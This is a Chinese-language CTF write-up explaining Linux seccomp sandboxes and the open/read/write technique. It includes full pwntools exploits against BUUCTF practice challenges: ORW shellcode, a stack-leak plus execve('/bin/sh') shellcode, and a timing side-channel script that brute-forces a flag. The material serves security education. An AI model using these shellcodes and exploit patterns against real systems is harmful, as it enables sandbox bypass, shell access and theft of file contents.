seccomp_orw

现在有很多pwn题中有沙箱机制。会使用类似seccomp的函数来禁用一部分系统调用,往往会把 execve 这种系统调用禁用掉,基本上拿不到shell。所以出现了新的利用也就是orw。

seccomp

seccomp (short for secure computing mode) is a computer security facility in the Linux kernel. seccomp allows a process to make a one-way transition into a “secure” state where it cannot make any system calls except exit(), sigreturn(), read() and write() to already-open file descriptors. Should it attempt any other system calls, the kernel will terminate the process with SIGKILL or SIGSYS.[1][2] In this sense, it does not virtualize the system’s resources but isolates the process from them entirely.

看个seccomp和没有seccomp的例子吧,首先得先安装一下相应的头文件。

1
$ sudo apt install libseccomp-dev libseccomp2 seccomp

没有seccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
//gcc -g z1r01.c -o z1r01
#include <stdio.h>

int main(int argc, char **argv){
char * filename = "/bin/sh";
char * ar[] = {"/bin/sh",NULL};
char * envp[] = {NULL};

write(1,"/bin/sh\n",8);
syscall(59,filename,ar,envp);

return 0;
}

加了seccomp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//gcc -g z1r02.c -o z1r02 -lseccomp
#include <stdio.h>
#include <seccomp.h>

int main(int argc, char **argv){

scmp_filter_ctx ctx;

ctx = seccomp_init(SCMP_ACT_ALLOW);

seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);

seccomp_load(ctx);

char * filename = "/bin/sh";
char * ar[] = {"/bin/sh",NULL};
char * envp[] = {NULL};

write(1,"/bin/sh\n",8);
syscall(59,filename,ar,envp);

return 0;
}

ctx是Filter context/handle,其中typedef void *scmp_filter_ctx;

seccomp_init是初始化的过滤状态,这里用的是SCMP_ACT_ALLOW,表示默认允许所有的syscacll.如果初始化状态为SCMP_ACT_KILL,则表示默认不允许所有的syscall

使用seccomp-tools来检测一下吧。

ORW

使用 open 函数打开 flag 文件,read 读取文件内容,write 写到标准输出 stdout,这样就可以从屏幕打印出来 flag

在堆题中,一般会在劫持了某钩子函数如 __free_hook 或 got 表之后考虑实现 orw,例如下面的32位和64位的orw flag。一般来说我们希望这个 gadget 能够实现栈迁移,一种比较通用的做法是利用 setcontext 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
open = 
xor ecx,ecx;
xor edx,edx; # edx = int mode 设定权限的
push ecx; #字符串结束符\x00
push 0x67616c66; #flag字符串
mov ebx,esp; #ebx = const char __user *filename
mov eax,0x5; # eax = sys_open , 系统调用号
int 0x80; # syscall

read =
mov eax,0x3; # eax = sys_read ,系统调用号为3
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # ebx = unsigned int fd = 3 ,文件描述符
mov edx,0x100; # edx = size_t count 对应字节数
int 0x80; #syscall

write =
mov eax,0x4; # eax = sys_write ,系统调用号为4
mov ebx,0x1; # ebx = unsigned int fd = 1,文件描述符
int 0x80; #syscall
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#open(const char *filename,int flags,int mode) x64下调用号2(rax)
#push rsp把栈顶指针寄存器中的值也即指向文件路径的指针赋值给rdi
open='''
push 0x67616c66
push rsp
pop rdi
xor rsi,rsi
xor rdx,rdx
push 2
pop rax
syscall
'''
#read(unsigned int fd,char *buf,size_t count) 其中open函数的返回值也就是fd,存放于rax中
read='''
push rax
pop rdi
push 0x123200
pop rsi
push 0x100
pop rdx
xor rax,rax
syscall
'''
#write(unsigned int fd,const char *buf,size_t count) 1为标准输出流,rsi和rdx不变,系统调用号为1
write='''
push 1
pop rdi
push 1
pop rax
syscall
'''

实战

pwnable_asm

pwnable上和buuctf都有,可以远程打。buuctf的题目链接:https://buuoj.cn/challenges#pwnable_asm

IDA一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rdx
char *s; // [rsp+18h] [rbp-8h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Welcome to shellcoding practice challenge.");
puts("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.");
puts("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.");
puts("If this does not challenge you. you should play 'asg' challenge :)");
s = (char *)mmap((void *)0x41414000, 0x1000uLL, 7, 50, 0, 0LL);
memset(s, 144, 0x1000uLL);
v3 = strlen(stub);
memcpy(s, stub, v3);
printf("give me your x64 shellcode: ");
read(0, s + 46, 0x3E8uLL);
alarm(0xAu);
chroot("/home/asm_pwn");
sandbox("/home/asm_pwn");
((void (__fastcall *)(const char *))s)("/home/asm_pwn");
return 0;
}

题目中的沙箱限制了大多数函数的使用,只能使用read、write、open、exit函数。可以看到puts中让我们尝试使用orw。在pwntools中自带了shellcraft 模块,可以生成相应架构的 shellcode。这题可以直接使用shellcraft模块生成orw。其中自带的模块的字节大小可能会大,题目中可能会限制输入的大小。

1
2
3
4
5
shellcode = ''
shellcode += shellcraft.open('/flag')
shellcode += shellcraft.read(3, offest, 0x100)
shellcode += shellcraft.write(1, offest, 0x100)
print(shellcode)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
/* open(file='/flag', oflag=0, mode=0) */
/* push b'/flag\x00' */
mov rax, 0x101010101010101
push rax
mov rax, 0x101010101010101 ^ 0x67616c662f
xor [rsp], rax
mov rdi, rsp
xor edx, edx /* 0 */
xor esi, esi /* 0 */
/* call open() */
push SYS_open /* 2 */
pop rax
syscall


/* call read(3, 0x41414100, 0x100) */
xor eax, eax /* SYS_read */
push 3
pop rdi
xor edx, edx
mov dh, 0x100 >> 8
mov esi, 0x1010101 /* 1094795520 == 0x41414100 */
xor esi, 0x40404001


/* write(fd=1, buf=0x41414100, n=0x100) */
push 1
pop rdi
xor edx, edx
mov dh, 0x100 >> 8
mov esi, 0x1010101 /* 1094795520 == 0x41414100 */
xor esi, 0x40404001
/* call write() */
push SYS_write /* 1 */
pop rax
syscall

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context(arch='amd64', os='linux')

file_name = './z1r0'

debug = 1
if debug:
r = remote('node4.buuoj.cn', 25833)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.23/libc-2.23.so')

offest = 0x41414000

shellcode = ''
shellcode += shellcraft.open('./flag')
shellcode += shellcraft.read(3, offest, 0x100)
shellcode += shellcraft.write(1, offest, 0x100)
print(shellcode)
shellcode = asm(shellcode)

r.sendline(shellcode)

r.interactive()

pwnable_orw

题目链接:https://buuoj.cn/challenges#pwnable_orw

进IDA看一下吧。

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
orw_seccomp();
printf("Give my your shellcode:");
read(0, &shellcode, 0xC8u);
((void (*)(void))shellcode)();
return 0;
}

还是直接输入shellcode,只可以用orw,exit等函数。这题我们的shellcode自己写也可以使用shellcraft,需要对系统调用的参数传递比较熟悉,eax为系统调用号,ebx,ecx,edx依次为传递的参数。我们要读的flag文件为./flag,flag字符串为0x67616c66

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
open = 
'''
xor ecx,ecx;
xor edx,edx; # edx = int mode 设定权限的
push ecx; #字符串结束符\x00
push 0x67616c66; #flag字符串
mov ebx,esp; #ebx = const char __user *filename
mov eax,0x5; # eax = sys_open , 系统调用号
int 0x80; # syscall
'''

read = '''
mov eax,0x3; # eax = sys_read ,系统调用号为3
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # ebx = unsigned int fd = 3 ,文件描述符
mov edx,0x100; # edx = size_t count 对应字节数
int 0x80; #syscall
'''

write = '''
mov eax,0x4; # eax = sys_write ,系统调用号为4
mov ebx,0x1; # ebx = unsigned int fd = 1,文件描述符
int 0x80; #syscall
'''

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context(arch='i386', os='linux')

file_name = './z1r0'

debug = 1
if debug:
r = remote('node4.buuoj.cn', 28090)
else:
r = process(file_name)

elf = ELF(file_name)

orw_open = '''
xor ecx,ecx;
xor edx,edx;
push ecx;
push 0x67616c66;
mov ebx,esp;
mov eax,0x5;
int 0x80;
'''

orw_read = '''
mov eax,0x3;
mov ecx,ebx;
mov ebx,0x3;
mov edx,0x100;
int 0x80;
'''

orw_write = '''
mov eax,0x4;
mov ebx,0x1;
int 0x80;
'''

shellcode = asm(orw_open + orw_read + orw_write)

r.send(shellcode)

print('shellcode.len = ' + str(hex(len(shellcode))))

r.interactive()

pwnable_start

题目链接:https://buuoj.cn/challenges#pwnable_start

什么也看不出来。看一下汇编吧。

eax是32位系统调用,ebx,ecx,edx分别是第一,二,三参数。其中dl bl是edx,ebx的低位。从上面的汇编可以看出首先将eax,ebx,ecx,edx清0。接着压入一些数据这些数据其实是Let's start the CTF:接着将这些数据给了ecx二参数的寄存器。dl为0x14,bl为1,接着al为4,也就是write(1, buf,0x14)。接下来将ebx清0。dl=0x3c,al=3,也就是read(0,buf,0x3c)。

将shellcode写入可执行区域,然后让eip指向shellcode就可以了。因为有read,所以直接读到栈上就可以了,保护全关,要先泄露一下栈地址。因为esp,14h,所以需要先填0x14个字节,再填一个字节指向mov ecx,esp就可以了。mov ecx, esp把esp指向的值write出来。栈地址出来了,rop链就可以了。注意的地方是shellcraft.sh太大了。可写区域只有36字节,所以我们得自己写一个shellcode

1
2
3
4
5
6
7
8
9
10
shellcode = '''
xor ecx, ecx;
xor edx, edx;
push edx;
push 0x68732f6e;
push 0x69622f2f;
mov ebx, esp;
mov al, 0xb;
int 0x80;
'''

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *

context(arch='i386', os='linux', log_level = 'debug')

file_name = './z1r0'

debug = 1
if debug:
r = remote('node4.buuoj.cn', 27426)
else:
r = process(file_name)

elf = ELF(file_name)

p1 = b'a' * 0x14 + p32(0x8048087)
r.sendafter("Let's start the CTF:",p1)
#shellcode = "\x31\xc9\x31\xd2\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"
stack_addr = u32(r.recv(4))
success('stack_addr = ' + hex(stack_addr))

shellcode = '''
xor ecx, ecx;
xor edx, edx;
push edx;
push 0x68732f6e;
push 0x69622f2f;
mov ebx, esp;
mov al, 0xb;
int 0x80;
'''

shellcode = asm(shellcode)

print(hex(len(shellcode)))

p2 = b'a' * 0x14 + p32(stack_addr + 20) + shellcode
r.sendline(p2)

r.interactive()

noocall

题目链接:https://buuoj.cn/challenges#xman_2019_nooocall

进IDA里面分析一下吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
FILE *v4; // [rsp+8h] [rbp-28h]
void *v5; // [rsp+10h] [rbp-20h]
void *buf; // [rsp+18h] [rbp-18h]

sub_B91(a1, a2, a3);
v4 = fopen("./flag.txt", "r");
if ( !v4 )
exit(1);
v5 = mmap((void *)0x200000000LL, 0x2000uLL, 3, 34, -1, 0LL);
buf = mmap((void *)0x300000000LL, 0x20000uLL, 7, 34, -1, 0LL);
_isoc99_fscanf(v4, "%s", v5);
printf("Your Shellcode >>");
read(0, buf, 0x10uLL);
sub_C34();
((void (*)(void))buf)();
return 0LL;
}

fopen了flag,flag已经被放到了内存里。跟进sub_c34()看一下。

1
2
3
4
5
6
7
8
9
10
unsigned __int64 sub_C34()
{
__int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = seccomp_init(0LL);
seccomp_load(v1);
return __readfsqword(0x28u) ^ v2;
}

开了沙箱。使用寄存器比较flag.txt,并输入字节大小的数据。如果相同则用jz来重复shell代码。需要进行爆破。

1
2
3
4
5
6
7
8
9
shellcode = asm(
'''
mov rax,[rsp+0x10] #rsp+0x10处存储的是缓冲区上IO结构体的地址,放进rax
mov rax,[rax+0x18] #rax+0x18处存储的是flag的地址
mov al,byte ptr[rax+%d] #我们通过rax+%d每次取flag的一个字符进行爆破
cmp al,%d #被我们取出的字符放入al,%d此时是guess_char的ascii码,cmp把我们取出的flag对应位置的字符和p_char中的每个进行对比,然后对ZF位置位
jz $-0x2 #如果ZF=1,即al-%d==0,那么说明爆破成功,这样我们再jz跳转到$-2也就是造成一个无限循环,这样使得延时必然大于3秒。
''' % (index,ord(guess_char))
)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import time
context(arch='amd64', os='linux', log_level = 'critical')

file_name = './z1r0'

debug = 1

flag = []

for i in range(0, 10):
flag.append(str(i))

for i in range(ord('a'), ord('z') + 1):
flag.append(chr(i))

flag.append('{')
flag.append('-')
flag.append('}')
flag.append('\x00')
print('[+] flag = ' + str(flag))

index = 0
final = ''
xman = False
while not xman:
print('[+] ' + str(index) + ' chr')
for test_flag in flag:
if debug:
r = remote('node4.buuoj.cn', 26020)
else:
r = process(file_name)
shellcode = asm('''
mov rax,[rsp + 0x10]
mov rax,[rax + 0x18]
mov al,byte ptr[rax + %d]
cmp al,%d
jz $-0x2
''' % (index, ord(test_flag)))
r.sendlineafter('Your Shellcode >>', shellcode)
start = time.time()
r.can_recv_raw(timeout = 3)
end = time.time()
r.close()
if end - start > 3:
if test_flag == '\x00':
xman = True
final += test_flag
print('[+] success get ' + str(index) + ' chr')
index += 1
break
print('[+] final = ' + final)

r.interactive()